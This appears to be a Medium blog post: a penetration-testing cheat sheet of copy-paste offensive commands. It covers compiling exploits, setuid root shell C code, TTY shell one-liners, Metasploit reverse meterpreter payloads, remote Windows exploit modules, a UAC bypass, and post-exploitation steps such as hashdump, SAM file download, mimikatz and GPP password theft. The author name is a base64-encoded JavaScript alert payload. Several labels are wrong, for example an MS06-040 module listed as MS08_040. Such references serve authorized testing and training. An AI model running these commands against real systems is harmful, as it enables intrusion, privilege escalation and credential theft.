Sitemap
amF2YXNjcmlwdDphbGVydChkb2N1bWVudC5kb21haW4pCg

amF2YXNjcmlwdDphbGVydChkb2N1bWVudC5kb21haW4pCg

Compiling Exploits

Some notes on compiling exploits.

Identifying if C code is for Windows or Linux

C #includes will indicate which OS should be used to build the exploit.

Command & Description

process.h, string.h, winbase.h, windows.h, winsock2.h

Description Windows exploit code

arpa/inet.h, fcntl.h, netdb.h, netinet/in.h,
sys/sockt.h, sys/types.h, unistd.h

Linux exploit code

Build Exploit GCC

Compile exploit gcc.

Command & Description

#gcc -o exploit exploit.c

Description Basic GCC compile

GCC Compile 32Bit Exploit on 64Bit Kali

Handy for cross compiling 32 bit binaries on 64 bit attacking machines.

Command & Description

#gcc -m32 exploit.c -o exploit

Cross compile 32 bit binary on 64 bit Linux

____________________________________________________

Compile Windows .exe on Linux

Build / compile windows exploits on Linux, resulting in a .exe file.

Command & Description

#i586-mingw32msvc-gcc exploit.c -lws2_32 -o exploit.exe

Compile windows .exe on Linux

____________________________________________________

SUID Binary

Often SUID C binary files are required to spawn a shell as a superuser, you can update the UID / GID and shell as required.

below are some quick copy and pate examples for various shells:

SUID C Shell for /bin/bash

|int main(void){setresuid(0, 0, 0); system("/bin/bash"); } |

SUID C Shell for /bin/sh

|int main(void){ setresuid(0, 0, 0); system("/bin/sh"); } |

Building the SUID Shell binary

#gcc -o suid suid.c

For 32 bit:

#gcc -m32 -o suid suid.c

____________________________________________________

TTY Shells

Tips / Tricks to spawn a TTY shell from a limited shell in Linux, useful for running commands like su from reverse shells.

Python TTY Shell Trick

#python -c 'import pty;pty.spawn("/bin/bash")'

#echo os.system('/bin/bash')

Spawn Interactive sh shell

#/bin/sh -i

Spawn Perl TTY Shell

#exec "/bin/sh"; perl —e 'exec "/bin/sh";'

Spawn Ruby TTY Shell

#exec "/bin/sh"

Spawn Lua TTY Shell

#os.execute('/bin/sh')

Spawn TTY Shell from Vi

Run shell commands from vi:

:!bash

Spawn TTY Shell NMAP

!sh

____________________________________________________

Metasploit Cheat Sheet

A basic metasploit cheat sheet that I have found handy for reference.

Basic Metasploit commands, useful for reference, for pivoting see — Meterpreter Pivoting techniques.

Meterpreter Payloads

Windows reverse meterpreter payload

Command & Description

#set payload windows/meterpreter/reverse_tcp

Windows reverse tcp payload

____________________________________________________

Windows VNC Meterpreter payload

Command & Description

#set payload windows/vncinject/reverse_tcp

#set ViewOnly false

Meterpreter Windows VNC Payload

____________________________________________________

Linux Reverse Meterpreter payload

Command & Description

#set payload linux/meterpreter/reverse_tcp

Meterpreter Linux Reverse Payload

____________________________________________________

Meterpreter Cheat Sheet

Useful meterpreter commands.

Get amF2YXNjcmlwdDphbGVydChkb2N1bWVudC5kb21haW4pCg’s stories in your inbox

Join Medium for free to get updates from this writer.

Command & Description

#upload file c:\\windows

Meterpreter upload file to Windows target

#download c:\\windows\\repair\\sam /tmp

Meterpreter download file from Windows target

#download c:\\windows\\repair\\sam /tmp

Meterpreter download file from Windows target

#execute -f c:\\windows\temp\exploit.exe

Meterpreter run .exe on target — handy for executing uploaded exploits

#execute -f cmd -c

Creates new channel with cmd shell

#ps

Meterpreter show processes

#shell

Meterpreter get shell on the target

#getsystem

Meterpreter attempts priviledge escalation the target

#hashdump

Meterpreter attempts to dump the hashes on the target

#portfwd add –l 3389 –p 3389 –r target

Meterpreter create port forward to target machine

#portfwd delete –l 3389 –p 3389 –r target

Meterpreter delete port forward

____________________________________________________

Common Metasploit Modules

Top metasploit modules.

Remote Windows Metasploit Modules (exploits)

Command & Description

#use exploit/windows/smb/ms08_067_netapi

MS08_067 Windows 2k, XP, 2003 Remote Exploit

#use exploit/windows/dcerpc/ms06_040_netapi

MS08_040 Windows NT, 2k, XP, 2003 Remote Exploit

#use exploit/windows/smb/
#ms09_050_smb2_negotiate_func_index

MS09_050 Windows Vista SP1/SP2 and Server 2008 (x86) Remote Exploit

____________________________________________________

Local Windows Metasploit Modules (exploits)

Command & Description

#use exploit/windows/local/bypassuac

Bypass UAC on Windows 7 + Set target + arch, x86/64

____________________________________________________

Auxilary Metasploit Modules

Command & Description

#use auxiliary/scanner/http/dir_scanner

Metasploit HTTP directory scanner

#use auxiliary/scanner/http/jboss_vulnscan

Metasploit JBOSS vulnerability scanner

#use auxiliary/scanner/mssql/mssql_login

Metasploit MSSQL Credential Scanner

#use auxiliary/scanner/mysql/mysql_version

Metasploit MSSQL Version Scanner

#use auxiliary/scanner/oracle/oracle_login

Metasploit Oracle Login Module

____________________________________________________

Metasploit Powershell Modules

Command & Description

#use exploit/multi/script/web_delivery

Metasploit powershell payload delivery module

#post/windows/manage/powershell/exec_powershell

Metasploit upload and run powershell script through a session

#use exploit/multi/http/jboss_maindeployer

Metasploit JBOSS deploy

#use exploit/windows/mssql/mssql_payload

Metasploit MSSQL payload

____________________________________________________

Post Exploit Windows Metasploit Modules

Windows Metasploit Modules for privilege escalation.

Command & Description

#run post/windows/gather/win_privs

Metasploit show privileges of current user

#use post/windows/gather/credentials/gpp

Metasploit grab GPP saved passwords

#load mimikatz -> wdigest

Metasplit load Mimikatz

#run post/windows/gather/local_admin_search_enum

Idenitfy other machines that the supplied domain user has administrative access to

#run post/windows/gather/smart_hashdump

Automated dumping of sam file, tries to esc privileges …etc

--

--